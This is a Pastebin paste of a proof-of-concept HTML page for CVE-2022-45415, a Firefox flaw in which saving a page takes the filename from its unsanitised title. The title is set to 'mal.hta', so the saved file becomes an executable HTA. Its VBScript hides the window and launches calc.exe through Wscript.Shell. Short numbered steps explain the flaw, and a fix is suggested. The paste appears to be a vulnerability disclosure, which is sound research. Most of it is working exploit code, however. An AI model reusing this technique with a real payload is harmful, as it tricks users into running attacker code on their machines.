Guest User

CVE-2022–45415

a guest
Jan 14th, 2023
556
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.01 KB | None | 0 0
  1. <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  2.  
  3. <title>mal.hta</title>
  4. <script language="VBScript">
  5. Window.ReSizeTo 0, 0
  6. Window.moveTo -2000,-2000
  7. Set objShell = CreateObject("Wscript.Shell")
  8. objShell.Run "calc.exe"
  9. self.close
  10. </script></head>
  11.  
  12.  
  13. <body>
  14. <h1>
  15. POC By <a href="https://twitter.com/JayateerthaG">Jayateertha G</a>
  16. </h1>
  17. <pre>
  18. 1. Save this html page to view offline by pressing ctrl+s or through UI directly by clicking save as &amp; save.
  19. 2. You might think saved content is html as file name is index.html but it's not so, as firefox grabs filename from title without sanitizing properly,
  20. 3. It's posible to create arbitrary binary files instead of html file, which will result in remote code execution.
  21. 4. The following POC creates and saves hta file, which when opened by user executes code in user's machine.
  22. </pre>
  23. <p><b>Fix:</b>To fix this sanitize the filename properly &amp; add .html at the end of filename as done by major browsers.</p>
  24.  
  25.  
  26. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment